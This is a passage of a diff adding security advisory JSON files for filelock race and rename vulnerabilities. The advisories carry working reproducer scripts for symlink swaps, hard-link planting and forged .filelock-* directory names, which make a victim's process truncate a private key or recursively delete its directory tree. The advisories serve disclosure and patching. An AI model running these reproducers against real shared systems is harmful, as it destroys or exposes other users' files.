victim_other_job = [sys.executable, \"/tmp/repro.d/victim_other_job.py\", shared_name]\n subprocess.run(victim_other_job, check=True, timeout=60, **AS_VICTIM)\n print(f\"OBSERVED {KEY_PATH}: size={os.stat(KEY_PATH).st_size} after the victim's FileLock({shared_name!r})\")\n\nprint(\"BUG\" if control.returncode != 0 and names_of_the_key else \"OK\")\n```\n\n**`repro.d/plant_stale_marker.py`**\n\n```python\nimport os\nimport sys\n\nfrom filelock import SoftFileLock\n\n# a genuine marker of a holder that died: a child takes the lock and exits without releasing it\nif (child := os.fork()) == 0:\n holder = SoftFileLock(sys.argv[1]) # kept referenced: a collected lock releases itself\n holder.acquire()\n os._exit(0)\nos.waitpid(child, 0)\nprint(\"attacker: left\", sys.argv[1], \"held by pid\", child, \"which has exited\", flush=True)\n```\n\n**`repro.d/swap_break_name.py`**\n\n```python\nimport glob\nimport os\nimport sys\nimport time\n\nlock_path, key_path = sys.argv[1:]\nkept_path = os.path.join(os.path.dirname(lock_path), \"other.lock\")\n\n# the victim judged the marker stale and renamed it to .break..; anyone can list the directory\ndeadline = time.monotonic() + 30\nwhile not (break_paths := glob.glob(lock_path + \".break.*\")):\n assert time.monotonic() < deadline, \"the victim never moved the marker aside\"\n time.sleep(0.01)\n[break_path] = break_paths\nprint(\"attacker: the victim renamed the marker to\", os.path.basename(break_path), flush=True)\n\n# still the attacker's file: a newer mtime makes the victim take it for a marker a live holder recreated, and restore it\nos.utime(break_path)\n\ntime.sleep(3) # repro holds the victim 2 s before its lstat of the break name and 2 s more before its link\nos.symlink(key_path, lock_path + \".symlink\")\nos.rename(lock_path + \".symlink\", break_path)\nprint(\"attacker: replaced\", os.path.basename(break_path), \"with a symlink to\", key_path, flush=True)\n\n# the victim would evict what it linked at the lock path as a malformed marker after 2 s: keep it under another name\ndeadline = time.monotonic() + 5\nwhile not os.path.lexists(lock_path) and time.monotonic() < deadline:\n time.sleep(0.01)\ntry:\n os.rename(lock_path, kept_path)\n print(\"attacker: renamed\", os.path.basename(lock_path), \"to\", kept_path, flush=True)\nexcept FileNotFoundError:\n print(\"attacker: the victim linked nothing at\", os.path.basename(lock_path), flush=True)\n```\n\n**`repro.d/unpaused_attacker.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Optional, not run by repro: the two steps of swap_break_name.py, timed by inotify against a victim that nobody pauses.\"\"\"\nimport ctypes\nimport os\nimport random\nimport struct\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, victim_file, kept_name = sys.argv[1:]\nos.chdir(os.path.dirname(lock_path))\nlock_name = os.path.basename(lock_path).encode()\nIN_NONBLOCK, IN_CLOSE_NOWRITE, IN_MOVED_TO = 0o4000, 0x10, 0x80\n\n\ndef spin(microseconds):\n until = time.perf_counter() + microseconds / 1e6\n while time.perf_counter() < until:\n pass\n\n\n# The bytes of a genuine marker of a dead process.\nif os.fork() == 0:\n crashed_holder = SoftFileLock(lock_path)\n crashed_holder.acquire()\n os._exit(0)\nos.wait()\nwith open(lock_name, \"rb\") as marker_file:\n stale_marker = marker_file.read()\nos.unlink(lock_name)\n\nlibc = ctypes.CDLL(None)\ninotify = libc.inotify_init1(IN_NONBLOCK)\nlibc.inotify_add_watch(inotify, b\".\", IN_MOVED_TO)\nmarker_mtime = 1_000_000_000\nlock_cycles = 0\nwhile True:\n lock_cycles += 1\n os.symlink(victim_file, b\"symlink\")\n marker = os.open(b\"staged\", os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n os.write(marker, stale_marker)\n os.utime(marker, (marker_mtime, marker_mtime))\n marker_watch = libc.inotify_add_watch(inotify, b\"staged\", IN_CLOSE_NOWRITE)\n while True: # plant it as soon as the victim has released the lock\n try:\n os.link(b\"staged\", lock_name)\n break\n except FileExistsError:\n pass\n os.unlink(b\"staged\")\n\n break_name = None\n while break_name is None:\n try:\n events = os.read(inotify, 4096)\n except BlockingIOError:\n continue\n while events and break_name is None:\n _, mask, _, name_length = struct.unpack_from(\"iIII\", events)\n name = events[16 : 16 + name_length].rstrip(b\"\\0\")\n events = events[16 + name_length :]\n if mask & IN_CLOSE_NOWRITE:\n # The victim has read the marker and is about to judge it stale and lstat it again. A bump that comes\n # before that lstat only makes the victim start over on its next poll.\n spin(random.uniform(40, 100))\n marker_mtime += 1\n os.utime(marker, (marker_mtime, marker_mtime))\n elif name.startswith(lock_name + b\".break.\"):\n # The victim has renamed the marker and is about to lstat the break name and link it back.\n os.rename(b\"symlink\", name)\n break_name = name\n libc.inotify_rm_watch(inotify, marker_watch)\n os.close(marker)\n\n time.sleep(0.001)\n try:\n at_lock_path = os.lstat(lock_name)\n if at_lock_path.st_uid != os.getuid() and at_lock_path.st_nlink == 2:\n os.rename(lock_name, kept_name)\n print(f\"after {lock_cycles} lock cycles the victim linked its file here as {kept_name!r}:\", at_lock_path)\n break\n except FileNotFoundError:\n pass\n for leftover in (b\"symlink\", break_name):\n if os.path.lexists(leftover):\n os.unlink(leftover)\n try:\n os.read(inotify, 65536)\n except BlockingIOError:\n pass\n```\n\n**`repro.d/unpaused_victim.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Optional, not run by repro: a victim job that takes the SoftFileLock again and again, paused by nobody.\"\"\"\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock = SoftFileLock(sys.argv[1])\nwhile True:\n with lock:\n time.sleep(0.005)\n time.sleep(0.005)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\nimport sys\n\nfrom filelock import SoftFileLock\n\nwith SoftFileLock(sys.argv[1]):\n print(\"victim: holds\", sys.argv[1], flush=True)\n```\n\n**`repro.d/victim_other_job.py`**\n\n```python\nimport sys\n\nfrom filelock import FileLock\n\nwith FileLock(sys.argv[1]):\n print(\"victim: holds\", sys.argv[1], flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant X as other local user (uid 1001)\n participant D as /tmp/shared-locks (0777, not sticky)\n participant V as SoftFileLock of the lock user (uid 1000)\n participant K as ~victim/private/signing.key (0600 in a 0700 dir)\n X->>D: child takes app.lock and _exit()s: dead-holder marker owned by X\n V->>D: read marker, owner_is_stale, lstat ok: rename app.lock to app.lock.break.*\n rect rgb(255, 214, 214)\n X->>D: inotify sees the rename: utime the break file (newer mtime)\n V->>D: lstat break name: mtime newer, S_ISREG: treat as a recreated live marker\n X->>D: rename a symbolic link to signing.key over the break name\n V->>K: os.link(break name, app.lock) follows the symbolic link: app.lock is a second name of the file\n X->>D: rename app.lock to other.lock before the 2 s eviction\n Note over V,K: the lock user's FileLock(\"other.lock\") on 4.2.0 truncates the file to 0 bytes\n end\n```\n\n## Evidence\n\nThe scanner's reproducer takes about 5 s and is deterministic. Root creates `/home/victim/private` (`0700`) with `signing.key` (17 bytes, `0600`) and `/tmp/shared-locks` (`0777`, no sticky bit), with `fs.protected_hardlinks = 1` and `fs.protected_symlinks = 1`. In the control step, the `attacker` account runs `os.link(key, /tmp/shared-locks/by-attacker)` and gets `Permission denied`. Then the `attacker` child leaves `app.lock held by pid 253 which has exited`. The `victim` account runs `with SoftFileLock(path)` under `strace -P ... -e inject=rename:delay_exit=2000000 -e inject=linkat:delay_enter=2000000`, which holds it 2 s after its `rename()` and 2 s before its `linkat()` without changing any call. The `attacker` account bumps the break file, swaps in the symbolic link, and renames `app.lock` to `other.lock`.\n\nThe result line reads `signing.key: links=2, names in /tmp/shared-locks with its inode: ['other.lock']`, and after the `victim` account's second program takes `FileLock('/tmp/shared-locks/other.lock')`, `size=0`. Verdict `BUG`. The unpaused variant (`unpaused_victim.py` looping on the lock, `unpaused_attacker.py` timing both steps with inotify) won 10 runs out of 10 on the 2-CPU image after 9 to 910 lock cycles (1 to 65 s); one run won after 128 cycles (8 s).\n\nOur review: BUG on 4.2.0 (triage), OK on the head of #843. On macOS 27.0.1 (CPython 3.13.16) a plain `os.link` of a symbolic link follows it (target `st_nlink` 2) while `follow_symlinks=False` links the symbolic link itself, which confirms the report's macOS note.\n\n## Impact\n\nA local user who can write a lock directory that has no sticky bit makes a user of a soft lock in that directory create a hard link there to one of that user's own files on the same filesystem, including files inside directories the other user cannot enter. The content stays unreadable, but the other user now reads size, times, mode and owner of the file through the new name, keeps the inode alive after the lock user deletes or rotates the file, and holds what `fs.protected_hardlinks` exists to deny, a name it can move around for someone else's file.\n\nWhatever the lock user later does to names in that directory lands on the file, and filelock 4.2.0 was such a consumer itself. `UnixFileLock._finalize_locked_fd()` ran `os.ftruncate(fd, 0)` on whatever regular file `O_NOFOLLOW` let it open. The other user moved the link to `other.lock`, the lock user took `FileLock(\"other.lock\")`, and the 17-byte private file became 0 bytes. The other user can also move the link into sticky `/tmp` on the same filesystem before the lock user locks it there, and a `FileLock` with a permissive `mode` such as `0o666` applied that mode to the private file too, after which the other user could write its content.\n\nOn its own, without such a second lock, the result is the link and the metadata above. The other user has to win two short races and needs the lock user to take the lock more than once. Not affected: sticky directories on the tested settings, CPython 3.11 on Linux, releases before 4.1.0.\n\n## Workarounds\n\nKeep soft locks out of directories other users can write without the sticky bit; a `0700` directory of the lock's user, or a sticky directory, is not affected. On CPython 3.11 on Linux the swap has no effect. Do not take a native `FileLock` on a name another user controls.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-SB29HIAL`, scanned commit b831496b0273; related earlier-public work: #786)\n- 2026-10-16 01:42 UTC: fix PR #843 opened\n- 2026-10-16 05:38 UTC: draft advisory created", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-crv4-6mhj-j5jh" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112914" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/843" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-pipx-CVE-2026-112937.json b/advisories/BREW-pipx-CVE-2026-112937.json new file mode 100644 index 0000000000..75f4ec60bb --- /dev/null +++ b/advisories/BREW-pipx-CVE-2026-112937.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-pipx-CVE-2026-112937", + "published": "2026-10-27T19:07:18Z", + "modified": "2026-10-27T19:07:18Z", + "upstream": [ + "GHSA-jqc4-5cvw-7w85", + "CVE-2026-112937" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "pipx", + "purl": "pkg:brew/pipx" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.17.13" + }, + { + "fixed": "1.18.4" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.2" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.2", + "key": "pkg:pypi/filelock@4.2.2", + "resource": "filelock" + } + ] + }, + "summary": "filelock: ReadWriteLock on the hard-link route deletes any directory another user renames onto its .filelock-* link directory name", + "details": "`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) remove their private `.filelock-*` link directories with `shutil.rmtree` (a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable `/proc/self/fd` (a Linux path that names the process's own open files), such as a chroot or container that does not mount `/proc`.\n\nAnother local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with `/proc` mounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0.\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-LSSZIUEO` [high, CWE-367]: ReadWriteLock deletes any directory another user renames to .filelock-*.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` scores 6.1 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): two `rename` calls and no race against filelock's own code. `I:H` (high integrity impact): the other user destroys a directory tree owned by the lock user, and the lock user's program reports no error. `A:L` (partial availability loss): the Python 3.11 `RecursionError` variant makes the lock user's first lock construction fail. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges.\n\nClassification from the external review: **conditional security**, a cross-user rename in a non-sticky shared parent that turns private-link cleanup into recursive deletion of the lock user's tree. The scanner rated it high. The review accepts the mechanism, notes that the macOS route rests on a Linux run with `/proc` hidden rather than on a run on macOS, and narrows the finding to that precondition and route.\n\n## Scope and preconditions\n\n- The other party is a different local account with write permission on the directory that holds the lock database, where that directory has no sticky bit. That is a `0777` directory, or a group-writable one (in a setgid `2775` directory a group member can rename the lock user's sub-directory the same way). Renaming an entry needs write permission on the parent only, not on the entry. Anyone who can write the parent can rename a `0700` directory of the lock user.\n- Sticky directories (`/tmp` itself, any `1777` directory) stop the release variant: the rename of an entry owned by the lock user fails with `EPERM`. The dead-owner sweep still reaches a lock user's tree that sits inside a directory the other account owns there. That account may rename its own directory to a forged dead-owner name, and the lock user's sweep deletes everything inside it. The Python 3.11 `RecursionError` variant also works in a sticky directory.\n- Platform and route. The lock user must connect through the private hard link. That is every `ReadWriteLock` or `AsyncReadWriteLock` on macOS (since 4.1.1, #820), or a POSIX process whose `/proc/self/fd/` (`/dev/fd/` elsewhere) does not exist, such as a chroot or container without `/proc`. Linux with `/proc` mounted connects through the descriptor and creates no `.filelock-*` directory (checked: none appears, also with two holders in one process), so stock Linux is not affected at 4.2.0. The macOS statement rests on the `descriptor_usable` branch at line 984 and `docs/how-to.rst`. The reproducer runs the same Python code on Linux with `/proc` hidden, which takes root and is test scaffolding, not a step the other user performs. Windows does not take this route.\n- Target set. Only directories that sit in the shared parent itself, or that the other account can already write, are reachable. The kernel refuses to move a `0700` directory of the lock user in from another parent. A tree the other account can already write (a group-writable project tree created with umask `002`) is no gain, since that account can delete it without filelock. A lock user running as root deletes a tree of any owner.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_ForkSafeConnection.close` runs `shutil.rmtree` on the remembered `mkdtemp` path](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L290-L296). The path comes from [`retain_until_close`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L305-L307), set on the [link route in `_connect_through_descriptor`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984-L1011), where [`descriptor_usable` is `False` on macOS](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984). Three more `rmtree` sites sit in [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029) (lines 1023 and 1026) and the connect's `finally` (line 1011). The fifth is in [`_sweep_links_of_the_dead`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1032-L1051), with the name parser [`_owner_is_gone`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1054-L1065) and [`_link_prefix`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1068-L1071).\n\n## Introduced\n\nThe link directory moved beside the database in `015d27c` (\"fix(read-write): reject WAL databases and link beside the db (#805)\"), and the dead-owner sweep came with `df06bbd` (#815). Both were first released in **4.1.0** (verified: `git tag --contains` gives 4.1.0 for both; 4.0.11 and 4.0.12 made the link in `TMPDIR`). macOS takes the link route for every connection since `5fd0c8f` (#820), first released in **4.1.1** (verified).\n\n## Mechanism\n\nWhen the lock connects through its private hard link, it disposes of `.filelock-*` directories with `shutil.rmtree` on a path. Nothing ties that path to the directory filelock created. `mkdtemp` makes the name unpredictable and the directory `0700`. The name is in the parent's listing as soon as it exists (`ls -a`), and renaming it needs write permission on the parent only. `0700` keeps the other user out of the directory; it does not stop a rename of the directory. There are two ways in, with the same preconditions.\n\n**On release.** A connection lives for one acquisition: `_open_for_acquisition` opens it and `release()` reaches `close` through `_release` and `_finish_connection`. The code trusts the path from the acquire to the release, for as long as the application keeps the lock. While the lock user holds `write_lock()` on `/tmp/shared-cache/cache.db`, the directory lists `.filelock----/` (`0700`, owned by the lock user, containing `lock.db`). The other user runs two renames: that directory to `moved-aside`, then `victim_project` (a `0700` directory of the lock user with `notes.txt` inside) onto the link directory's name. When the lock user leaves the `with` block, `rmtree` deletes `victim_project` and everything in it with the lock user's permissions, and the process exits with status 0. `moved-aside/lock.db`, the real link, stays behind as an extra hard link to the database. The constructor's validation connection (`ReadWriteLock.__init__` opens and closes one, creating and removing a link directory) and the three error-path removals trust the path the same way, with windows a few system calls long.\n\n**In the dead-owner sweep.** `_link_beside` calls `_sweep_links_of_the_dead(parent)` once per process and parent directory before `mkdtemp`. The first connect of every process on the link route runs it, the validation connection included. It runs `rmtree` on every `.filelock-*` directory whose name parses as a dead owner's. It checks neither the directory's owner, nor its mode, nor whether it holds only `lock.db`. `_owner_is_gone` splits the name after `.filelock-` into `pid`, `start`, `digest` (a hash of the host name) and a suffix. It returns `digest == _host_digest(host) and owner_is_stale(pid, host, start or None)`.\n\nThe other user can forge every field. Take `.filelock-2147483647---x`. `pid` is the largest value the #821 range check accepts and above the PID limit of Linux and macOS, so `process_alive` gets `ESRCH` from `os.kill(pid, 0)`; the PID of any exited process, such as a child the other user just reaped, passes as well. `start` is empty, which the parser accepts because `_link_prefix` writes an empty field when it has no start token; with no token and a dead PID `owner_is_stale` returns `True`. `digest` is `sha256(host_name())[:16]`. `host_name()` adds a PID-namespace tag only when `/proc/self/ns/pid` is readable, which it is not on macOS or without `/proc`, so any local user can compute the digest, and it is in the name of every link directory the lock user creates. The parser does not look at the suffix.\n\nOne `rename(\"victim_project\", \".filelock-2147483647---x\")` at any time, with no lock held, gets the tree deleted the next time any lock user process on the link route constructs a lock in that directory (a cron job, a CI step, a service restart). #821 made the parser reject non-ASCII digits and out-of-range PIDs; a well-formed name for a PID that is not running still selects the directory for removal.\n\nThe sweep's `rmtree` has a smaller effect that needs no lock user tree and works in a sticky directory, on Python 3.11, where `shutil.rmtree` recurses once per directory level. The other user creates a directory of their own under a forged dead-owner name in a `1777` directory, with 1500 nested subdirectories inside. The first `ReadWriteLock(...)` a lock user process on the link route constructs there raises `RecursionError`, which the `suppress(OSError)` at line 1050 does not catch. A second attempt in the same process skips the sweep and succeeds. Python 3.14 walks the same tree without an error.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-LSSZIUEO`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nshared = \"/tmp/shared-cache\"\nproject = f\"{shared}/victim_project\"\n\n# ReadWriteLock takes the hard-link route (.filelock-* directory beside the database) on macOS, and elsewhere when\n# /proc/self/fd/ is unusable. An empty /proc in a private mount namespace puts unmodified filelock on that route.\nos.unshare(os.CLONE_NEWNS)\nsubprocess.run([\"mount\", \"--make-rprivate\", \"/\"], check=True)\nsubprocess.run([\"mount\", \"-t\", \"tmpfs\", \"tmpfs\", \"/proc\"], check=True)\n\n# set up: a shared directory without the sticky bit, holding the victim's private tree\nshutil.rmtree(shared, ignore_errors=True)\nos.mkdir(shared)\nos.chmod(shared, 0o777)\nos.mkdir(project, 0o700)\nwith open(f\"{project}/notes.txt\", \"w\") as notes_file:\n notes_file.write(\"victim data\\n\")\nshutil.chown(f\"{project}/notes.txt\", \"victim\", \"victim\")\nshutil.chown(project, \"victim\", \"victim\")\n\nrm = subprocess.run([\"runuser\", \"-u\", \"attacker\", \"--\", \"rm\", \"-rf\", project], capture_output=True, text=True)\nprint(\"attacker runs rm -rf on the victim's tree:\", rm.stderr.strip())\nassert os.path.exists(f\"{project}/notes.txt\"), \"setup: the attacker could delete the tree without filelock\"\n\n# the victim takes the write lock and stays in its critical section\nvictim = subprocess.Popen(\n [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable, \"/tmp/repro.d/victim_hold_write_lock.py\"],\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n text=True,\n)\nassert victim.stdout.readline() == \"holding the write lock\\n\", \"setup: the victim did not take the lock\"\nprint(\"while the victim holds the lock:\", sorted(os.listdir(shared)))\n\n# attack\nsubprocess.run([\"runuser\", \"-u\", \"attacker\", \"--\", sys.executable, \"/tmp/repro.d/attacker_swap_link_dir.py\"], check=True)\nlink_dir = next(name for name in os.listdir(shared) if name.startswith(\".filelock-\"))\nnotes = f\"{shared}/{link_dir}/notes.txt\"\nprint(\"after the attacker's renames:\", sorted(os.listdir(shared)))\nprint(f\"{notes} exists:\", os.path.exists(notes))\nassert os.path.exists(notes), \"setup: the attacker's renames did not happen\"\n\n# the victim leaves its with block\nvictim.communicate(\"\\n\", timeout=30)\nprint(\"victim exit status:\", victim.returncode)\nprint(\"after the release:\", sorted(os.listdir(shared)))\nprint(f\"{notes} exists:\", os.path.exists(notes))\n\n# check: releasing a lock must not delete the victim's files\nprint(\"BUG\" if not os.path.exists(notes) else \"OK\")\n```\n\n**`repro.d/attacker_swap_link_dir.py`**\n\n```python\nimport os\n\nshared = \"/tmp/shared-cache\"\n\n# both directories are 0700 and owned by victim; renaming them needs write permission on the parent only\nlink_dir = next(name for name in os.listdir(shared) if name.startswith(\".filelock-\"))\nos.rename(f\"{shared}/{link_dir}\", f\"{shared}/moved-aside\")\nos.rename(f\"{shared}/victim_project\", f\"{shared}/{link_dir}\")\n```\n\n**`repro.d/victim_hold_write_lock.py`**\n\n```python\nimport sys\n\nfrom filelock import ReadWriteLock\n\nlock = ReadWriteLock(\"/tmp/shared-cache/cache.db\")\nwith lock.write_lock():\n print(\"holding the write lock\", flush=True)\n sys.stdin.readline() # stands for the work the lock protects; it ends when repro sends a line\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as other local user\n participant V as lock user's process (link route)\n participant K as filesystem (parent 0777, no sticky bit)\n rect rgb(255, 214, 214)\n Note over A,K: filelock 4.1.0 to 4.2.0 on macOS, or POSIX without /proc\n V->>K: mkdtemp(.filelock-PID--DIGEST-XXXX) mode 0700, link cache.db inside as lock.db\n V->>K: BEGIN EXCLUSIVE, write lock held\n A->>K: rename(.filelock-PID--DIGEST-XXXX, moved-aside)\n A->>K: rename(victim_project, .filelock-PID--DIGEST-XXXX)\n V->>K: release() calls shutil.rmtree(\".filelock-PID--DIGEST-XXXX\")\n Note over V,K: victim_project and notes.txt are gone, exit status 0, moved-aside/lock.db stays\n A->>K: later, with no lock held, rename(any directory, .filelock-2147483647--DIGEST-x)\n V->>K: next ReadWriteLock(...) in that directory sweeps dead owners by name and rmtree's the forged one\n end\n```\n\n## Evidence\n\nThe scanner's reproducer needs no race. It enters a private mount namespace and mounts an empty tmpfs over `/proc` for itself and its children (the only non-default condition, standing in for macOS). It creates `/tmp/shared-cache` (`0777`, no sticky bit) with `victim_project/notes.txt` (`0700`, owned by `victim`), shows that `rm -rf` on that tree as `attacker` fails with `Permission denied`, runs the `victim` program (`ReadWriteLock(\"/tmp/shared-cache/cache.db\")` + `with lock.write_lock():`) and the `attacker` renames, then lets the `victim` program release. Expected output on the scanned commit:\n\n```\nattacker runs rm -rf on the victim's tree: rm: cannot remove '/tmp/shared-cache/victim_project': Permission denied\nwhile the victim holds the lock: ['.filelock-106--39c81e1bf87b1d56-os_58i3c', 'cache.db', 'victim_project']\nafter the attacker's renames: ['.filelock-106--39c81e1bf87b1d56-os_58i3c', 'cache.db', 'moved-aside']\n/tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os_58i3c/notes.txt exists: True\nvictim exit status: 0\nafter the release: ['cache.db', 'moved-aside']\n/tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os_58i3c/notes.txt exists: False\nBUG\n```\n\nThe scanner showed the sweep variant by hand with the same setup and no lock held. As `attacker`, one rename of `victim_project` to `.filelock-2147483647---x` with ` = hashlib.sha256(socket.gethostname().encode()).hexdigest()[:16]`, then `ReadWriteLock(\"/tmp/shared-cache/cache.db\")` as `victim` with `/proc` hidden. `notes.txt` is gone after the constructor returns and the directory contains only `cache.db`.\n\nOur verification: `BUG` on `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head: `OK`; the listing after the release is `['.filelock-12--4fd1986a778d5977-amfxfd9k', 'cache.db', 'moved-aside']`, `notes.txt exists: True`, and the `victim` program exits 0. Neither the scanner nor the review executed on macOS; the macOS claim rests on the `descriptor_usable` branch and the identical code after it.\n\n## Impact\n\nThe other user chooses any directory that sits in the shared parent, and the lock user's process deletes it and everything in it with the lock user's permissions and no error; the lock user's program reports success. Without filelock that user can rename such a directory but cannot remove a non-empty one whose contents they have no permission on. With filelock the lock user's process destroys the contents. The release variant needs two `rename` calls at any point while the lock user holds the lock and wins no race against filelock's own code. The sweep variant needs one rename and no held lock, and fires on the next lock construction by any lock user process in that directory. The real link directory stays under its new name with an extra hard link to the database.\n\nIt is **not** reachable on stock Linux with `/proc` mounted at 4.2.0. The release variant is **not** reachable in a sticky directory. This is the same position as in GHSA-j8f7-rjxc-mr56 (a user who can change names in a shared lock directory). Here the name is the derived `.filelock-*` directory rather than the database, and the redirected operation is a recursive delete.\n\n## Workarounds\n\n- On macOS, and on any POSIX system where `/proc/self/fd` is unavailable, keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one `ReadWriteLock` database between accounts through a `0777` or group-writable directory.\n- Do not keep other directories of value beside a lock database in a directory other accounts can write; the deletion targets are siblings of the database.\n- On Linux with `/proc` mounted, 4.2.0 does not take the link route and needs no workaround for this finding.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it\n- 2026-10-16 01:15 UTC: fix PR #834 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-jqc4-5cvw-7w85" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112937" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/834" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-pipx-CVE-2026-112940.json b/advisories/BREW-pipx-CVE-2026-112940.json new file mode 100644 index 0000000000..8e0b3a78ba --- /dev/null +++ b/advisories/BREW-pipx-CVE-2026-112940.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-pipx-CVE-2026-112940", + "published": "2026-10-27T19:07:18Z", + "modified": "2026-10-27T19:07:18Z", + "upstream": [ + "GHSA-v4x8-3wr5-3wq8", + "CVE-2026-112940" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "pipx", + "purl": "pkg:brew/pipx" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.16.0" + }, + { + "fixed": "1.18.4" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.2" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.2", + "key": "pkg:pypi/filelock@4.2.2", + "resource": "filelock" + } + ] + }, + "summary": "filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or 